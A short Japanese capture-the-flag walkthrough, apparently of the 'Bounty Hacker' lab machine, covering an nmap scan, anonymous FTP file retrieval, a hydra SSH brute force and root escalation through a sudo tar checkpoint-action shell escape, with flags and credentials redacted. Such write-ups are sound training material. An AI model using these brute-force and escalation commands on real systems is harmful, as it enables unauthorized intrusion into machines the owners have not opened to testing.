第一段階：内部侵入

nmapする

$ nmap -sC -sV $IP
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

なるほど、gobuster回しながらポート80を見てみよう。

ポート80

特に意味のあるページには見えない。
/imagesでディレクトリリスティングが発生するが、特に何ができる訳でもない。
gobusterも特に気になるレポートはしてこない。んー、別を見てみるか。

ftp

anonymousで入れるか見てみよう。

$ ftp $IP
Name : anonymous
230 Login successful.
ftp> ls
locks.txt
task.txt
ftp> get task.txt
ftp> get locks.txt

2つファイルがあるので取ってこよう。
ユーザー名とパスワードらしきものが得られたので、これを使ってsshログインを試す。

sshログイン試行

hydraを使って総当たりする。

$ hydra -l ■■■ -P locks.txt -o out.log -e ns $IP ssh
[22][ssh] host: $IP  login: ■■■   password: ■■■■■■■■■■■

ok. これでsshログインができ、侵入成功。

$ ls
user.txt
$ cat user.txt
■■■■■■■■■■■■■■

第二段階：権限昇格

とりあえずsuidとsudoを見てみると、sudoに気になる出力がある。

$ sudo -l
User lin may run the following commands on bountyhacker:
    (root) /bin/tar

ほう。GTFOBinsで調べるとヒットする。
tar | GTFOBins
ワンライナーがありますね…

$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
root.txt
# cat /root/root.txt
■■■■■■■■■■■■■

これでクリア。